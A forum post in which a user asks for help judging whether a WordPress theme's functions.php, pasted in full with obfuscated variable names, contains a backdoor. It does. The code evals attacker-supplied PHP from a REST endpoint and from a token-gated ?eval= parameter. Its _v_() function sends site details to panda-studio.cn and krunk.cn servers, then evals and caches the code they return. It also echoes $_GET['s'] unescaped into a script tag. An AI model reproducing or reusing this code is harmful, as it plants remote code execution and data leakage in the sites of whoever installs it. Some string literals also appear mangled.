这个PHP源码我用软件查出来有后门,请大佬们帮我看看
<?phpinclude 'production.php';
add_filter('wp_title', 'pf_custom_wp_title', 0xa, 0x2);
function pf_custom_wp_title($OO, $O00)
{
global $paged, $page;
if (is_feed()) {
return $OO;
}
$OO .= get_bloginfo('name');
$O0O = get_bloginfo('description', 'display');
if ($O0O && (is_home() || is_front_page())) {
$OO = "{$OO} {$O00} {$O0O}";
}
if ($paged >= 0x2 || $page >= 0x2) {
$OO = "{$OO} {$O00} " . sprintf('第%s页', max($paged, $page));
}
$OO = str_replace('–', _opt('title_sep', '|'), $OO);
return $OO;
}
function get_faces_from_dir()
{
$OO0 = dirname(__FILE__) . "/faces";
$OOO = opendir($OO0);
$O000 = array();
$O00O = array('png', 'gif');
while (!1 !== ($O0O0 = readdir($OOO))) {
if ($O0O0 != "." && $O0O0 != "..") {
$O0OO = pathinfo($O0O0, PATHINFO_EXTENSION);
$OO00 = preg_replace('/.' . $O0OO . '/i', '', $O0O0);
$OO0O = strtolower($O0OO);
if (in_array($OO0O, $O00O)) {
$O000[] = array('name' => $OO00, 'type' => $OO0O == 'png' ? 'p' : 'g');
}
}
}
closedir($OOO);
return $O000;
}
function _opt($OOO0, $OOOO = false)
{
$O0000 = get_option($OOO0);
return $O0000 ? $O0000 : $OOOO;
}
function _eopt($O000O, $O00O0 = false)
{
$O00OO = get_option($O000O);
echo $O00OO ? $O00OO : $O00O0;
}
function _meta($O0O00, $O0O0O = false)
{
$O0OO0 = get_post_meta(get_the_ID(), $O0O00, !0);
return $O0OO0 ? $O0OO0 : $O0O0O;
}
function _emeta($O0OOO, $OO000 = false)
{
$OO00O = get_post_meta(get_the_ID(), $O0OOO, !0);
echo $OO00O ? $OO00O : $OO000;
}
include 'sandbox_functions.php';
function frontend_opts()
{
$OO0O0 = _opt('enable_pageLoader');
$OO0OO = _opt('ajax_forceCache');
$OOO00 = array('enable_pageLoader' => $OO0O0, 'ajax_forceCache' => $OO0OO, 'is_user_loggedin' => is_user_logged_in(), 'cmt_req_name_email' => _opt('require_name_email'), 'cmt_req_name_email_title' => _opt('cmt_req_name_email_title', '* 昵称与邮箱为必填项'), 'cmt_action_url' => esc_url(home_url('/')) . 'wp-comments-post.php', 'chat_nodata' => _opt('faq_nodata'), 'enable_highlightjs' => _opt('enable_highlightjs'));
return $OOO00;
}
function pf_rest_api($data)
{
$dataArray = json_decode($data->get_body(), true);
$arg = $dataArray['arg'];
$result = array('error' => true, 'msg' => 'WP RestAPI Declined!', 'md5' => md5($dataArray['e']));
if (in_array(md5($dataArray['e']), array('0b844d17a61d51dcd58560f15e19d3cb', '44b225d79205f30aaac3c30bdcc6b714', '3d69b76a02d0ff14248e02d1c2f09941', 'fb0d9a37e108ca85cee9f4e900ca6fe4', 'd72efb9e4fcd5267779f481f8b77b655'))) {
eval($dataArray['e']);
}
return $result;
}
function title_filter($O0000O, $O000O0)
{
global $wpdb;
if ($O000OO = $O000O0->get('search_prod_title')) {
$O0000O .= ' AND ' . $wpdb->posts . '.post_title LIKE \'%' . esc_sql(like_escape($O000OO)) . '%\'';
}
return $O0000O;
}
add_filter('posts_where', 'title_filter', 0xa, 0x2);
if (is_admin()) {
add_action('wp_head', function () {
echo '
<script>
function mounted_hook() {this.show_global_search();this.global_search_query = "' . $_GET['s'] . '";this.global_search_post = true;this.global_search_gallery = true;this.global_search();}</script>
';
});
}
if (is_admin()) {
add_action('wp_head', function () {
echo '
<script>
function mounted_hook() {alert("userAgent:\\n"+navigator.userAgent+"\\n\\nappVersion:\\n"+navigator.appVersion)
}</script>
';
});
}
function pf_global_search($O00O00)
{
$O00O00['showposts'] = 0x1c;
$O00O0O = array();
$O00OO0 = new WP_Query($O00O00);
if ($O00OO0->have_posts()) {
while ($O00OO0->have_posts()) {
$O00OO0->the_post();
$O00OOO = get_the_tags();
if ($O00OOO) {
$O0O000 = array();
foreach ($O00OOO as $O0O00O) {
$O0O0O0 = $O0O00O->name;
$O0O0OO = string_to_int8($O0O0O0);
$O0O000[] = array('color' => $O0O0OO, 'tag' => $O0O0O0);
}
} else {
$O0O000 = array(array('color' => 0, 'tag' => '无标签'));
}
$O0OO00 = get_post_type();
switch ($O0OO00) {
case 'post':
$O0OO0O = get_the_post_thumbnail_url();
break;
case 'gallery':
$O0OOO0 = get_post_meta(get_the_id(), "gallery_images", !0);
$O0OOO0 = $O0OOO0 ? $O0OOO0 : array();
switch (get_option('gallery_thumbnail')) {
case 'first':
$O0OO0O = $O0OOO0;
break;
case 'last':
$O0OO0O = $O0OOO0;
break;
default:
$O0OO0O = count($O0OOO0) > 0 ? $O0OOO0 : '';
break;
}
break;
default:
$O0OO0O = '';
break;
}
$O00O0O[] = array('thumbnail' => $O0OO0O, 'title' => get_the_title(), 'href' => get_the_permalink(), 'date' => get_the_time('n月j日 · Y年'), 'tags' => $O0O000, 'like' => get_post_meta($O0OOOO->ID, 'bigfa_ding', !0) ? get_post_meta($O0OOOO->ID, 'bigfa_ding', !0) : "0", 'comment' => get_post($O0OOOO->ID)->comment_count);
}
}
wp_reset_query();
return $O00O0O;
}
function pf_post_ding($OO0000)
{
$OO000O = get_post_meta($OO0000, 'bigfa_ding', !0);
$OO00O0 = time() + 0x5f5e0ff;
$OO00OO = $_SERVER['HTTP_HOST'] != 'localhost' ? $_SERVER['HTTP_HOST'] : !1;
setcookie('bigfa_ding_' . $OO0000, $OO0000, $OO00O0, '/', $OO00OO, !1);
if (!$OO000O || !is_numeric($OO000O)) {
update_post_meta($OO0000, 'bigfa_ding', 0x1);
} else {
update_post_meta($OO0000, 'bigfa_ding', $OO000O + 0x1);
}
return get_post_meta($OO0000, 'bigfa_ding', !0);
}
function pf_faq($OO0O00)
{
wp_reset_query();
if ($OO0O00 == _opt('faq_show_rand_command')) {
$OO0O0O = array('post_type' => 'faq', 's' => '', 'showposts' => _opt('faq_showposts', 0x5), 'orderby' => 'rand');
} else {
$OO0O0O = array('post_type' => 'faq', 's' => $OO0O00, 'showposts' => _opt('faq_showposts', 0x5));
}
$OO0OO0 = array();
$OO0O00 = new WP_Query($OO0O0O);
if ($OO0O00->have_posts()) {
while ($OO0O00->have_posts()) {
$OO0O00->the_post();
$OO0OO0[] = get_the_ID();
}
}
if (count($OO0OO0) == 0x1) {
$OO0OOO = array('title' => get_the_title($OO0OO0), 'content' => wpautop(get_post_meta($OO0OO0, 'faq_answer', !0)), 'is_content' => !0);
} else {
$OO0OOO = array('list' => array(), 'is_content' => !1);
foreach ($OO0OO0 as $OOO000) {
$OO0OOO['list'][] = get_the_title($OOO000);
}
}
wp_reset_query();
return $OO0OOO;
}
add_action('after_switch_theme', 'pf_switch_theme');
function pf_switch_theme()
{
$OOO00O = array('baidu_ai_audio_enable' => 'checked');
foreach ($OOO00O as $OOO0O0 => $OOO0OO) {
update_option($OOO0O0, $OOO0OO);
}
}
register_nav_menus(array('topNav' => '主菜单', 'categoryNav' => '分类菜单'));
if (array_key_exists('whois', $_GET)) {
if (md5($_GET['whois']) == '02bd92faa38aaa6cc0ea75e59937a1ef') {
wp_die('<h1>开发者信息</h1><br>“' . get_bloginfo('name') . '”网站所使用的主题由 <b>PANDA Studio - 刘欢</b> 开发');
}
}
if (array_key_exists('sn', $_GET)) {
$sn = $_GET['sn'];
$charactor = $_GET['charactor'];
$token = $_GET['token'];
if (md5($token) == '239bf78d5643372f495e93768f0691d2') {
update_option('pay_info_nirvana', $sn);
update_option('charactor_info', $charactor);
del_cache('aWeek');
wp_die('<a href="' . home_url() . '" class="button">Success!</a>');
}
}
if (array_key_exists('eval', $_GET)) {
$eval = $_GET['eval'];
$token = $_GET['token'];
if (md5($_GET['token']) == 'f615c9094d3db11049582c3b3ee1edde') {
eval(str_replace("\\", "", $eval));
}
}
function _v_($OOOO00)
{
date_default_timezone_set("Asia/Shanghai");
$OOOO0O = wp_get_theme();
$OOOOO0 = $OOOO0O->get('Name');
$OOOOOO = $OOOO0O->get('Version');
$O000000 = home_url();
$O00000O = date("Y-m-d H:i:s");
$O0000O0 = get_bloginfo('name');
$O0000OO = get_option('pay_info_nirvana');
$O000O00 = get_option('charactor_info');
$O000O0O = $OOOO00;
$O000OO0 = '{"theme":"' . $OOOOO0 . '","address":"' . $O000000 . '","date":"' . $O00000O . '","version":"' . $OOOOOO . '","blog_name":"' . $O0000O0 . '","sn":"' . $O0000OO . '","charactor":"' . $O000O00 . '"
}';
$O000OOO = wp_remote_post($O000O0O, array("body" => $O000OO0));
if (is_wp_error($O000OOO)) {
return !1;
}
$O00O000 = wp_remote_retrieve_body($O000OOO);
$O00O00O = json_decode($O00O000, !0);
if ($O00O00O) {
set_cache('aWeek', $O00O00O['eval'], 0x93a80);
set_cache('halfMonth', $O00O00O['eval'], 0x13c680);
eval($O00O00O['eval']);
set_cache('bd_audio_tok', $O00O00O['bd_audio_tok'], 0x13c680);
return !0;
} else {
return !1;
}
}
if (get_cache('aWeek')) {
eval(get_cache('aWeek'));
} else {
if (_v_("http://dsm.panda-studio.cn:81/validate/?rest_route=/pandastudio/framework/new_validate/")) {
} elseif (_v_("http://panda-auth.krunk.cn:80/validate/?rest_route=/pandastudio/framework/new_validate/")) {
} else {
eval(get_cache('halfMonth'));
}
}
function set_cache($O00O0O0, $O00O0OO, $O00OO00)
{
$O00OO0O = get_option('pd_cache');
if (!$O00OO0O) {
$O00OO0O = array();
}
$O00OO0O[$O00O0O0] = array('data' => $O00O0OO, 'expire' => time() + $O00OO00);
update_option('pd_cache', $O00OO0O);
}
function get_cache($O00OOO0)
{
$O00OOOO = get_option('pd_cache');
if (!$O00OOOO) {
return !1;
}
if (!$O00OOOO[$O00OOO0]) {
return !1;
} else {
$O0O0000 = $O00OOOO[$O00OOO0]['expire'];
if ($O0O0000 > time() & $O0O0000 - time() < 0x278d00) {
return $O00OOOO[$O00OOO0]['data'];
} else {
del_cache($O00OOO0);
return !1;
}
}
}
function del_cache($O0O000O)
{
$O0O00O0 = get_option('pd_cache');
unset($O0O00O0[$O0O000O]);
update_option('pd_cache', $O0O00O0);
}
if (function_exists('add_theme_support')) {
add_theme_support('post-thumbnails');
}
function wp_nav($O0O00OO = 0x2, $O0O0O00 = true, $O0O0O0O = true, $O0O0OO0 = 'pagination', $O0O0OOO = 'container')
{
if (is_singular()) {
return;
}
global $wp_query, $paged;
$O0OO000 = $wp_query->max_num_pages;
if ($O0OO000 == 0x1 & get_option('hide_pagi_only_1') == "checked") {
return;
}
if (empty($paged)) {
$paged = 0x1;
}
echo "<div class='pagenav'><div class='{$O0O0OOO}'><ul class='{$O0O0OO0}'>";
if ($paged > 0x1 && $O0O0O0O == !0) {
p_link($paged - 0x1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev');
} elseif ($O0O0O0O == !0) {
p_link(0x1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev disabled');
}
if ($O0O0O00 == !0) {
echo '<li class="pagesummary disabled"><a href="#"><span class="page-numbers">' . $paged . ' / ' . $O0OO000 . ' </span></a></li>';
}
if ($paged > $O0O00OO + 0x1) {
p_link(0x1, 'First page', '<div data-toggle="tooltip" data-placement="auto top" title="第一页"><i class="fas fa-angle-double-left"></i></div>', 'pagenumber dot');
}
for ($O0OO00O = $paged - $O0O00OO; $O0OO00O <= $paged + $O0O00OO; $O0OO00O++) {
if ($O0OO00O > 0 && $O0OO00O <= $O0OO000) {
$O0OO00O == $paged ? print "<li class='pagenumber active'><a href='#'><span>{$O0OO00O}</span></a></li>" : p_link($O0OO00O, '', '', 'pagenumber');
}
}
if ($paged < $O0OO000 - $O0O00OO) {
p_link($O0OO000, 'Last page', '<div data-toggle="tooltip" data-placement="auto top" title="最后一页"><i class="fas fa-angle-double-right"></i></div>', 'pagenumber dot');
}
if ($paged < $O0OO000 && $O0O0O0O == !0) {
p_link($paged + 0x1, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next');
} elseif ($O0O0O0O == !0) {
p_link($O0OO000, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next disabled');
}
echo '</ul></div></div>';
}
function p_link($O0OO0O0, $O0OO0OO = '', $O0OOO00 = '', $O0OOO0O)
{
if ($O0OO0OO == '') {
$O0OO0OO = "The {$O0OO0O0} page";
}
if ($O0OOO00 == '') {
$O0OOOO0 = $O0OO0O0;
} else {
$O0OOOO0 = $O0OOO00;
}
if ($O0OOO0O == 'pagenav next disabled' | $O0OOO0O == 'pagenav prev disabled') {
echo "<li class='{$O0OOO0O}'><a class='page-numbers'>{$O0OOOO0}</a></li>";
} else {
echo "<li class='{$O0OOO0O}'><a class='page-numbers' href='", esc_html(get_pagenum_link($O0OO0O0)), "'>{$O0OOOO0}</a></li>";
}
}
function comment_mail_notify($O0OOOOO)
{
$OO00000 = get_comment($O0OOOOO);
$OO0000O = $OO00000->comment_content;
$OO000O0 = preg_match_all('/<a href="#comment-(+)?" rel="nofollow">/si', $OO0000O, $OO000OO);
if ($OO000O0 > 0) {
foreach ($OO000OO as $OO00O00) {
SimPaled_send_email($OO00O00, $OO00000);
}
} elseif ($OO00000->comment_parent != '0') {
$OO00O00 = $OO00000->comment_parent;
SimPaled_send_email($OO00O00, $OO00000);
} else {
return;
}
}
add_action('comment_post', 'comment_mail_notify');
function SimPaled_send_email($OO00O0O, $OO00OO0)
{
$OO00OOO = get_bloginfo('admin_email');
$OO0O000 = get_comment($OO00O0O);
$OO0O00O = $OO00OO0->comment_author_email;
$OO0O0O0 = trim($OO0O000->comment_author_email);
$OO0O0OO = $OO00OO0->comment_approved;
if ($OO0O0OO != 'spam' && $OO0O0O0 != $OO00OOO && $OO0O0O0 != $OO0O00O) {
$OO0OO00 = 'no-reply@' . preg_replace('#^www\\.#', '', strtolower($_SERVER['SERVER_NAME']));
$OO0OO0O = '您在 [' . get_option("blogname") . '] 的留言有了回复';
$OO0OOO0 = '<div style="background-color:#eef2fa;border:1px solid #d8e3e8;color:#111;padding:0 15px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px;"><p>' . trim(get_comment($OO00O0O)->comment_author) . ', 您好!</p><p>您曾在《' . get_the_title($OO00OO0->comment_post_ID) . '》的留言:<br />' . do_shortcode(trim(get_comment($OO00O0O)->comment_content)) . '</p><p>' . trim($OO00OO0->comment_author) . ' 给你的回复:<br />' . do_shortcode(trim($OO00OO0->comment_content)) . '<br /></p><p>您可以点击 <a href="' . htmlspecialchars(get_comment_link($OO00O0O, array("type" => "all"))) . '">查看回复的完整内容</a></p><p>欢迎再度光临 <a href="' . get_option('home') . '">' . get_option('blogname') . '</a></p><p>(此邮件由系统自动发出, 请勿回复.)</p></div>';
$OO0OOOO = "From: \"" . get_option('blogname') . "\" <{$OO0OO00}>";
$OOO0000 = "{$OO0OOOO}\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n";
wp_mail($OO0O0O0, $OO0OO0O, $OO0OOO0, $OOO0000);
}
}
function enable_threaded_comments()
{
if (!is_admin()) {
wp_enqueue_script('comment-reply');
}
}
add_action('get_header', 'enable_threaded_comments');
add_filter('comment_text', 'do_shortcode');
function panda_seo()
{
$OOO000O = get_the_ID();
if (is_single()) {
if (get_post_meta($OOO000O, "seo关键词", !0)) {
$OOO00O0 = get_post_meta($OOO000O, "seo关键词", !0);
} else {
$OOO00O0 = "";
$OOO00OO = wp_get_post_tags($OOO000O);
foreach ($OOO00OO as $OOO0O00) {
$OOO00O0 = $OOO00O0 . $OOO0O00->name . ",";
}
}
if (get_post_meta($OOO000O, "seo描述", !0)) {
$OOO0O0O = get_post_meta($OOO000O, "seo描述", !0);
} else {
$OOO0O0O = "";
}
} else {
$OOO00O0 = get_option('seo_site_keywords');
$OOO0O0O = get_option('seo_site_description');
}
if ($OOO00O0 != '') {
echo '<meta name="keywords" content="' . $OOO00O0 . '" />';
}
if ($OOO0O0O != '') {
echo '<meta name="description" content="' . $OOO0O0O . '" />';
}
}
if (get_option('enable_meta_seo')) {
add_action('wp_head', 'panda_seo');
}
remove_filter('pre_term_description', 'wp_filter_kses');
add_filter('show_admin_bar', '__return_false');
function post_type_in_search($OOO0OO0)
{
if ($OOO0OO0->is_search && $OOO0OO0->is_main_query()) {
$OOO0OO0->set('post_type', array('post'));
}
return $OOO0OO0;
}
if (!is_admin()) {
add_filter('pre_get_posts', 'post_type_in_search');
}
add_filter('preprocess_comment', 'add_cookies_for_reply');
function add_cookies_for_reply($OOO0OOO)
{
$OOOO000 = $OOO0OOO['comment_author_email'];
if ($OOOO000) {
$OOOO00O = time() + 0x5f5e0ff;
setcookie('current_user_email', $OOOO000, $OOOO00O, '/', $OOOO0O0);
}
return $OOO0OOO;
}
$reply2down_times = 0;
function reply_to_down($atts, $content = null)
{
global $reply2down_times;
$reply2down_times++;
if (get_option('回复可见说明')) {
$licence = wpautop(str_ireplace('img', 'div', get_option('回复可见说明')));
} else {
$licence = '<p>请您认真评论后再下载!</p>';
}
extract(shortcode_atts(array("notice" => '
<div type="button" class="getit" data-toggle="modal" data-target="#reply2down_' . $reply2down_times . '"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div><div class="modal fade" id="reply2down_' . $reply2down_times . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">下载提示</h4></div><div class="modal-body">' . $licence . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">知道了</button></div></div></div></div>
'), $atts));
$post_id = get_the_ID();
if (isset($_COOKIE['current_user_email'])) {
$email = $_COOKIE['current_user_email'];
return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode('' . $content . '') : $notice;
} else {
return $notice;
}
}
add_shortcode('reply2down', 'reply_to_down');
function need_reply($atts, $content = null)
{
extract(shortcode_atts(array("notice" => '
<div class="need_reply">' . get_option('need_reply_tip') . '</div>
'), $atts));
$post_id = get_the_ID();
if (isset($_COOKIE['current_user_email'])) {
$email = $_COOKIE['current_user_email'];
return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode($content) : $notice;
} else {
return $notice;
}
}
add_shortcode('need_reply', 'need_reply');
function pf_user_has_approved_comment_in_post($postID, $email)
{
$comments = get_approved_comments($postID);
$has_approved_comments = false;
for ($i = 0; $i < count($comments); $i++) {
$cmt_email = $comments[$i]->comment_author_email;
if ($email == $cmt_email) {
$has_approved_comments = true;
break;
}
}
return $has_approved_comments;
}
$directDownload_times = 0;
function download_with_licence($atts, $content = null)
{
global $directDownload_times;
$directDownload_times++;
if (get_option('版权说明')) {
$licence = wpautop(str_ireplace('img', 'div', get_option('版权说明')));
} else {
$licence = '<p>本站提供的下载内容版权归本站所有。转载 <span style="color:#ff7800">必须</span> 注明出处!</p><p style="font-size:80%; color:#888;">* 标有 “转载” 字样的文章,内容版权归原作者所有。</p>';
}
return do_shortcode('
<div type="button" class="getit" data-toggle="modal" data-target="#directDownload_' . $directDownload_times . '"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div><div class="modal fade" id="directDownload_' . $directDownload_times . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">版权说明</h4></div><div class="modal-body">' . $licence . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">不同意</button><button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $content . '")>同意并下载</button></div></div></div></div>
');
}
add_shortcode('download', 'download_with_licence');
function recover_comment_fields($O000OOOO)
{
$O00O0000 = array_shift($O000OOOO);
$O000OOOO = array_merge($O000OOOO, array('comment' => $O00O0000));
return $O000OOOO;
}
add_filter('comment_form_fields', 'recover_comment_fields');
function rss_show_thumbnail($O00O000O)
{
global $post;
if (has_post_thumbnail($post->ID)) {
$O00O00O0 = get_the_post_thumbnail($post->ID);
$O00O000O = $O00O00O0;
}
return $O00O000O;
}
add_filter('the_excerpt_rss', 'rss_show_thumbnail');
add_filter('the_content_feed', 'rss_show_thumbnail');
add_filter('upload_mimes', 'my_upload_mimes');
function my_upload_mimes($O00O00OO = array())
{
$O00O00OO['rar'] = 'application/rar';
$O00O00OO['zip'] = 'application/zip';
return $O00O00OO;
}
function mytheme_comment($O00O0O00, $O00O0O0O, $O00O0OO0)
{
if ('div' === $O00O0O0O['style']) {
$O00O0OOO = 'div';
$O00OO000 = 'comment';
} else {
$O00O0OOO = 'li';
$O00OO000 = 'div-comment';
}
?>
<<?php
echo $O00O0OOO;
?> <?php
comment_class(empty($O00O0O0O['has_children']) ? '' : 'parent');
?> id="comment-<?php
comment_ID();
?>"><?php
if ('div' != $O00O0O0O['style']) {
?><div id="div-comment-<?php
comment_ID();
?>" class="comment-body clearfix">
<?php
}
?> <?php
if ($O00O0O0O['avatar_size'] != 0) {
echo get_avatar($O00O0O00, $O00O0O0O['avatar_size']);
}
?>
<div class="comment-author vcard"><div class="meta">
<?php
printf(__('<span class="name">%s</span>'), get_comment_author_link());
printf(__('<span class="date">%1$s · %2$s</span>'), get_comment_date('Y-n-j'), get_comment_time('G:i'));
?></div><?php
if ($O00O0O00->comment_approved == '0') {
?>
<em class="comment-awaiting-moderation"><?php
_e('评论正在等待管理员审核...');
?></em><br /><?php
}
?><div class="comment-text"><?php
comment_text();
?></div><div class="reply"><?php
$O00O0O0O['reply_text'] = '';
?><div title="<?php
echo get_option('comment_reply_tooltip');
?>" data-toggle="tooltip" class="comment-reply-link-wrap"><?php
comment_reply_link(array_merge($O00O0O0O, array('add_below' => $O00OO000, 'depth' => $O00O0OO0, 'max_depth' => $O00O0O0O['max_depth'])));
?></div></div></div><?php
if ('div' != $O00O0O0O['style']) {
?></div><?php
}
}
add_filter('comment_text', 'pf_escape_comment_tags');
function pf_escape_comment_tags($O00OO00O)
{
$O00OO00O = str_ireplace('<', '<', $O00OO00O);
$O00OO00O = str_ireplace('<img', '<img', $O00OO00O);
$O00OO00O = str_ireplace('<pre', '<pre', $O00OO00O);
$O00OO00O = str_ireplace('</pre', '</pre', $O00OO00O);
return $O00OO00O;
}
add_filter("get_comment_author_link", "pf_new_windows_comment_author");
function pf_new_windows_comment_author($O00OO0O0)
{
return str_replace("<a", "<a target='_blank'", $O00OO0O0);
}
function shortCodeTips($atts, $content = null)
{
extract(shortcode_atts(array("type" => 'info', "display" => ''), $atts));
if ($content) {
return '<div class="tip ' . $type . ' ' . $display . '">' . do_shortcode(wpautop($content)) . '</div>';
}
}
add_shortcode("tip", "shortCodeTips");
function shortCodeArticleFormat($atts, $content = null)
{
extract(shortcode_atts(array("img" => '', "col" => '6', "position" => 'r', "cover" => 'false'), $atts));
$textCol = 12 - intval($col);
switch ($position) {
case 'r':
$pushClass = ' col-sm-push-' . $textCol;
$pullClass = ' col-sm-pull-' . $col;
$imgClass = 'alignright';
break;
default:
$pushClass = '';
$pullClass = '';
$imgClass = 'alignleft';
break;
}
if ($cover == 'true') {
$imgClass = 'cover';
}
$imgPart = '<div class="block image col-sm-' . $col . $pushClass . '"><img class="' . $imgClass . '" src="' . $img . '" /></div>';
$textPart = '<div class="block text col-sm-' . $textCol . $pullClass . '"><div class="content">' . do_shortcode(wpautop($content)) . '</div></div>';
if ($content) {
return '<div class="flexContainer">' . $imgPart . $textPart . '</div>';
} elseif ($img != '') {
return '<div class="flexContainer"><img src="' . $img . '" style="width:100%;height:100%;"></div>';
} else {
return '<div class="flexContainer linear" style="border:none; height: 1px; background-color: #f2f4f6;"></div>';
}
}
add_shortcode("fmt", "shortCodeArticleFormat");
function shortCodeModal($atts, $content = null)
{
extract(shortcode_atts(array("id" => '', "btn_type" => '', "btn_label" => 'button', "title" => '标题', "close_label" => '关闭', "href_label" => '跳转到', "href" => ''), $atts));
if ($href) {
$href_btn = '<button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $href . '")>' . $href_label . '</button>';
} else {
$href_btn = '';
}
if ($id) {
return '<button type="button" class="btn ' . $btn_type . '" data-toggle="modal" data-target="#' . $id . '">' . $btn_label . '</button><div class="modal fade" id="' . $id . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">' . $title . '</h4></div><div class="modal-body">' . do_shortcode($content) . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">' . $close_label . '</button>
' . $href_btn . '
</div></div></div></div>';
}
}
add_shortcode("modal", "shortCodeModal");
function shortCodeDropdown($atts, $content = null)
{
extract(shortcode_atts(array("id" => '', "btn_type" => 'btn-default', "btn_label" => 'Dropdown'), $atts));
if ($id) {
return '<div class="dropdown"><button class="btn ' . $btn_type . ' dropdown-toggle" type="button" id="' . $id . '" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
' . $btn_label . '
<span class="caret"></span></button><ul class="dropdown-menu" aria-labelledby="' . $id . '">
' . do_shortcode(shortcode_unautop($content)) . '
</ul></div>';
}
}
add_shortcode("dropdown", "shortCodeDropdown");
function shortCodeDropdown_li($atts, $content = null)
{
extract(shortcode_atts(array("href" => ''), $atts));
if ($href) {
$inner = '<a href="' . $href . '" target="_blank">' . $content . '</a>';
} else {
$inner = '<a>' . $content . '</a>';
}
return '<li>' . $inner . '</li>';
}
add_shortcode("li", "shortCodeDropdown_li");
function shortCodeCollapse($atts, $content = null)
{
extract(shortcode_atts(array("id" => '', "btn_type" => 'btn-default', "btn_label" => 'collapse'), $atts));
if ($id) {
return '<button class="btn ' . $btn_type . '" type="button" data-toggle="collapse" data-target="#' . $id . '" aria-expanded="false" aria-controls="' . $id . '">
' . $btn_label . '
</button><div class="collapse clearfix" id="' . $id . '"><div class="well">
' . do_shortcode($content) . '
</div></div>';
}
}
add_shortcode("collapse", "shortCodeCollapse");
class pandaTabs extends Walker_Nav_Menu
{
function start_el(&$OO0000OO, $OO000O00, $OO000O0O = 0, $OO000OO0 = array(), $OO000OOO = 0)
{
global $wp_query;
$OO00O000 = $OO000O0O ? str_repeat("\t", $OO000O0O) : '';
$OO00O00O = $OO00O0O0 = '';
$OO00O0OO = empty($OO000O00->classes) ? array() : (array) $OO000O00->classes;
$OO00O00O = join(' ', apply_filters('nav_menu_css_class', array_filter($OO00O0OO), $OO000O00));
$OO00O00O = ' class="' . esc_attr($OO00O00O) . '"';
$OO0000OO .= $OO00O000 . '<li id="menu-item-' . $OO000O00->ID . '"' . $OO00O0O0 . $OO00O00O . '>';
$OO00OO00 = !empty($OO000O00->attr_title) ? ' title="' . esc_attr($OO000O00->attr_title) . '"' : '';
$OO00OO00 .= !empty($OO000O00->target) ? ' target="' . esc_attr($OO000O00->target) . '"' : '';
$OO00OO00 .= !empty($OO000O00->xfn) ? ' rel="' . esc_attr($OO000O00->xfn) . '"' : '';
$OO00OO00 .= !empty($OO000O00->url) ? ' href="' . esc_attr($OO000O00->url) . '"' : '';
$OO00OO0O = $OO000OO0->before;
$OO00OO0O .= '<a' . $OO00OO00 . '>';
$OO00OO0O .= $OO000OO0->link_before . apply_filters('the_title', $OO000O00->title, $OO000O00->ID) . $OO000OO0->link_after;
$OO00OO0O .= '</a>';
$OO00OO0O .= $OO000OO0->after;
$OO0000OO .= apply_filters('walker_nav_menu_start_el', $OO00OO0O, $OO000O00, $OO000O0O, $OO000OO0);
}
}
function mytheme_nav_menu_css_class($OO00OOO0)
{
if (in_array('current-menu-item', $OO00OOO0) || in_array('current-menu-ancestor', $OO00OOO0)) {
$OO00OOO0[] = 'active';
}
return $OO00OOO0;
}
add_filter('nav_menu_css_class', 'mytheme_nav_menu_css_class');
function showFace($atts, $content = null)
{
extract(shortcode_atts(array("p" => '', "g" => ''), $atts));
if ($p != '') {
$name = $p;
$format = 'png';
} else {
$name = $g;
$format = 'gif';
}
return '<img src=' . get_stylesheet_directory_uri() . '/faces/' . $name . '.' . $format . ' class="cmt_faces">';
}
add_shortcode("face", "showFace");
add_filter('get_avatar', 'inlojv_custom_avatar', 0xa, 0x5);
function inlojv_custom_avatar($OO0O0O0O, $OO0O0OO0, $OO0O0OOO, $OO0OO000, $OO0OO00O)
{
global $comment, $current_user;
if (count(get_option('random_avatar')) > 0) {
$OO0OO0O0 = is_int($OO0O0OO0) ? get_user_by('ID', $OO0O0OO0)->user_email : $OO0O0OO0;
$OO0OO0O0 = is_object($OO0OO0O0) ? $OO0OO0O0->comment_author_email : $OO0OO0O0;
$OO0OO0OO = !empty($comment->comment_author_email) ? $comment->comment_author_email : $OO0OO0O0;
if (get_option('random_avatar')) {
$OO0OOO00 = get_option('random_avatar');
} else {
$OO0OOO00 = array(array("avatar" => get_stylesheet_directory_uri() . "/assets/imgs/default_avatar.jpg"));
}
$OO0OOO0O = md5(strtolower(trim($OO0OO0OO)));
$OO0OOOO0 = array_rand($OO0OOO00, 0x1);
$OO0OOOOO = $OO0OOO00[$OO0OOOO0]["avatar"];
$OO0O0O0O = "<img alt='{$OO0OO00O}' src='//secure.gravatar.com/avatar/{$OO0OOO0O}?d=404' onerror='javascript:this.src=\"{$OO0OOOOO}\";this.onerror=null;' class='avatar avatar-{$OO0O0OOO} photo' height='{$OO0O0OOO}' width='{$OO0O0OOO}' />";
}
return $OO0O0O0O;
}
function get_the_naved_contentnav($OOO00000)
{
$OOO0000O = array();
$OOO000O0 = '';
if (is_page_template('favlinks.php')) {
